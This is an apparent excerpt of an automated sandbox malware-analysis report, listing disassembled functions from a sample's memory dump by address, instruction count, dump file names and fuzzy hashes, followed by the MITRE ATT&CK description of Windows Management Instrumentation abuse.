Instruction Fuzzy Hash: 62315C73F5222147F358483ECD64392A5839BD5324F2F82799A6CABBC5CCBE9C071284

Function 05BFC3B6 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ec09c7475f6e3bdad4223f93ac26064fefb7ef9ce6a47b0d3c394ad8f706aa
Instruction ID: 934cfcf3a2b0a7e12fc1d9c53271b971adea2d2126a8375a0460c139679db0c6
Opcode Fuzzy Hash: 88ec09c7475f6e3bdad4223f93ac26064fefb7ef9ce6a47b0d3c394ad8f706aa
Instruction Fuzzy Hash: 3E316DF3F1162107F3584869CD693B654839BE4311F2F823A8F9EA77C6E87D4D0A1284

Function 05C0CEEE Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae78f2edb244fdb40891da593c41ed053356f3767ab35ff31134ca89d9f0cb25
Instruction ID: e3b0f7a37b2d30d8a850c7b93503a8a1a93ba3d6a0bdf54237f38d585d14f0d2
Opcode Fuzzy Hash: ae78f2edb244fdb40891da593c41ed053356f3767ab35ff31134ca89d9f0cb25
Instruction Fuzzy Hash: BE3100B7F616254BF3984865DD583A26443A7D1324F3F82388F6C2B6C6DCBE4D0A1284

Function 05C04AD6 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9511b9ac7f9e5a7691c16cefc6e063c9e8378e7d53a7779cf750b9b295499e8
Instruction ID: 5dd89558894d9a36ba7f3283c7696d745431841ca1ea5fbbe48476f8a0255b05
Opcode Fuzzy Hash: a9511b9ac7f9e5a7691c16cefc6e063c9e8378e7d53a7779cf750b9b295499e8
Instruction Fuzzy Hash: 49314CF7F61A2547F3544878DD983A2254297A5328F2F82788F9CAB7C5D87D8D0A13C4

Function 05C17BE5 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de73a8dc818fa2ab12276198ee483188a83e1339d353b88893fddb5120302e9
Instruction ID: 61be85b44a3c7feadc7b21ea8a2fd00f232ea9ae95826239975f6217f759bd81
Opcode Fuzzy Hash: 6de73a8dc818fa2ab12276198ee483188a83e1339d353b88893fddb5120302e9
Instruction Fuzzy Hash: 603148F3F6192547F3984869CCA87A264839BE8325F2F82788F5D677C5EC7D4C0A1284

Function 05C0C68C Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 652f257a1919928597ea0d9d76399801d85376ad9798bdb75344c9205d05d548
Instruction ID: 20dba475c70fe386f04aa2f1ad3c4bbd2d26e57cdf68eaa75cea1f1e5e6a0fa8
Opcode Fuzzy Hash: 652f257a1919928597ea0d9d76399801d85376ad9798bdb75344c9205d05d548
Instruction Fuzzy Hash: CB3171B3F102214BF39449A9CD98722A693EBD5301F2B81399F486B7C5CD7DAC0A57D4

Function 05C1076D Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78bb5166f18578b3c47b7ec295556eed4dd90c2150c23bafc66f4f70de877136
Instruction ID: 94348dbcc2141fe916cc7fc5f6f2b01028447c5cd9844677d9804a1c0085eb1c
Opcode Fuzzy Hash: 78bb5166f18578b3c47b7ec295556eed4dd90c2150c23bafc66f4f70de877136
Instruction Fuzzy Hash: A1213AB7E5252547F390887ACD5839225839BD0325F2FC2788E9C6BBC9DC7E5D0A52C4

Function 05C2E3D7 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 619d4ffafa6daeab1c3c58a1a92788deac9a2f8d8ccb4e223699358610f35b54
Instruction ID: a58f971dd21fbfb05d86ea211daa7f82e9ca42ce975638e4f67a9a3dfda0936e
Opcode Fuzzy Hash: 619d4ffafa6daeab1c3c58a1a92788deac9a2f8d8ccb4e223699358610f35b54
Instruction Fuzzy Hash: 7E212AB3F1152147F3988878CD5936654829B95324F2F83388F5DA7BC5E87D9D0A4284

Function 05C3A1C2 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7bce40b3f997c9c7a64b166aabd83b9598eebe890071ec7cd8304c1e657dbd
Instruction ID: e0ad1a642cc5b5ac7be4c9bf8dc45095a862f652582c8b780f4fb830ad666af2
Opcode Fuzzy Hash: 6c7bce40b3f997c9c7a64b166aabd83b9598eebe890071ec7cd8304c1e657dbd
Instruction Fuzzy Hash: 8B2125E3F6152447F7984839CD583A22983A7D4320F2B8239CF9D6BBC9DC7E5D0A5284

Function 05C0117F Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca54d9a647155719e3ab02d6154149c84b29540709cdbb39188da16efef60fea
Instruction ID: 711c7a9a5fd283212e890fcbd6457bc23a54815bd808db551be42af50a5fc6b6
Opcode Fuzzy Hash: ca54d9a647155719e3ab02d6154149c84b29540709cdbb39188da16efef60fea
Instruction Fuzzy Hash: CA216FF3F516114BF3444974DD983A26683EBD0324F2F82788B8C9B3C5D9BE99465384

Function 05C0A8EA Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0251ca13ca9ccf9d9ea3548ec4d2732d45bad8a14542d85ad83e4c8c6364eb5
Instruction ID: 647a7ee4650fe8166d048c934b364bffdd2911218376de6da3676c10810ff878
Opcode Fuzzy Hash: a0251ca13ca9ccf9d9ea3548ec4d2732d45bad8a14542d85ad83e4c8c6364eb5
Instruction Fuzzy Hash: DC214CB3E6192647F3484878CD593A26582E794325F2F83798EA8A77C5DCBE8D061284

Function 05C3D03A Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8abfbc92f62d056fd0554c79e5ab93d8aa15e6e0f2b1d93752f333a4386482bf
Instruction ID: ee4042bf3e8e42a38a4d0df49c499a9dfa205a927cfda91ac06dc9428215d8c4
Opcode Fuzzy Hash: 8abfbc92f62d056fd0554c79e5ab93d8aa15e6e0f2b1d93752f333a4386482bf
Instruction Fuzzy Hash: A92137F7E516254BF3448879CC993925583D7D0325F2FC2788E18ABBCAD83E8C061284

Function 05BF9822 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2cbf9be0a32a280ea8f542a0b65a0c4ae4d407f743efb19e9b9a2a351eda90
Instruction ID: bf60d823994067d1741877793a2a4f09996a7acf41406ea24b00bc48909a0262
Opcode Fuzzy Hash: 6e2cbf9be0a32a280ea8f542a0b65a0c4ae4d407f743efb19e9b9a2a351eda90
Instruction Fuzzy Hash: A42137F3F20A2047F3984879DD58362958397A5314F2F82798F4DA77C6EC7E5C0A1284

Function 05C397D5 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c105f467cb936881ac1b254df415fdfaa22de2337c45f9c1f79d93bc15e27a5e
Instruction ID: 4b1a4cef438f62a3bca2595927484c3de27c9d43d0d9627ee5fac2bda8a59a84
Opcode Fuzzy Hash: c105f467cb936881ac1b254df415fdfaa22de2337c45f9c1f79d93bc15e27a5e
Instruction Fuzzy Hash: 2A21E8B3F5162047F7944879DC98362A183A7D5328F2B82798F5CAB7C9DC7D5C0A12C8

Function 05C3B212 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837975e363f0ce9330036ade8e877c5bc26cb72ebeb14910b00995c90beb37f4
Instruction ID: ee09b2cd3362c54f402ff0d604d11431b0a9f8a3aac69eca91a446cc89483ef3
Opcode Fuzzy Hash: 837975e363f0ce9330036ade8e877c5bc26cb72ebeb14910b00995c90beb37f4
Instruction Fuzzy Hash: 062186B3F2126647F3A40839CD5836215839BE1320F3B82399E6CAB7C6CC7D4C0A6384

Function 05C0FFED Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43367cb81b17ca8ce6eb34a9dcfd6947dd83b87ba8bcc476f6c41478301b4ab1
Instruction ID: 90b8ef0f288227a70d521e9dd2400f1a4cf26c39cabf6b2776c3a31f4057b29e
Opcode Fuzzy Hash: 43367cb81b17ca8ce6eb34a9dcfd6947dd83b87ba8bcc476f6c41478301b4ab1
Instruction Fuzzy Hash: AF2159B3F116214BF7544829DCA9362A243A7D5325F2F82788F6CAB7C1DC7E9C0A5384

Function 05BFA2B5 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc84ca1d64919043cf10a547e63d1634522e042c46aa1025c0f1fd866c19c7f
Instruction ID: 44a4bddfa55f46d8fefc8b75865f4c4acc01ce7c12def4e275261739ef8a58cd
Opcode Fuzzy Hash: 5dc84ca1d64919043cf10a547e63d1634522e042c46aa1025c0f1fd866c19c7f
Instruction Fuzzy Hash: C4215CB7F505304BF3548879DD943926552A7A5304F2B82388E9CABBC9ECBE5C4A53C4

Function 05C23393 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe373bcfeac29dfbeb359ad4528fcdb66d01231cf7239a7417f78ee5311d835
Instruction ID: f628ae34b14e069760a1747c1920c8a6785c07b9f4f8b17e43c07fd495d012e5
Opcode Fuzzy Hash: efe373bcfeac29dfbeb359ad4528fcdb66d01231cf7239a7417f78ee5311d835
Instruction Fuzzy Hash: 3C2129F3F50A254BF36048B5DC943926142ABA1329F2FC2788FA86B6C5D87E5C4957C4

Function 05C3FD1E Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 984a7c6f0aa6eb93f1d204ebafec787341930492574606957811bef15fbac539
Instruction ID: 8690e81707590b8805810624fffd433aa488d7949b26350e519e1f67b3bb80a6
Opcode Fuzzy Hash: 984a7c6f0aa6eb93f1d204ebafec787341930492574606957811bef15fbac539
Instruction Fuzzy Hash: F9215BB7F126254BF3804976DC593626283ABD4324F2FC2388AA9977C5ED3D880A17C4

Function 05BF0D96 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736843621.0000000005BEA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BE0000, based on PE: true

Associated: 00000000.00000002.1736381150.0000000005BE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005E93000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1736843621.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5be0000_zhMQ0hNEmb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e068c6c143cfd38e4e6e3c81939b0fe5e61f203e0dd25085d402193aaca9ec6
Instruction ID: 52d4e546a7f42122f6cf81a23433dbc2f43fa6ce0cc76ed37ec68c0567db781a
Opcode Fuzzy Hash: 7e068c6c143cfd38e4e6e3c81939b0fe5e61f203e0dd25085d402193aaca9ec6
Instruction Fuzzy Hash: 4621717150C389CFDB15EF64C8487AFB7E1FB10305F09456CCA8646A50D7762DA8CB46

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
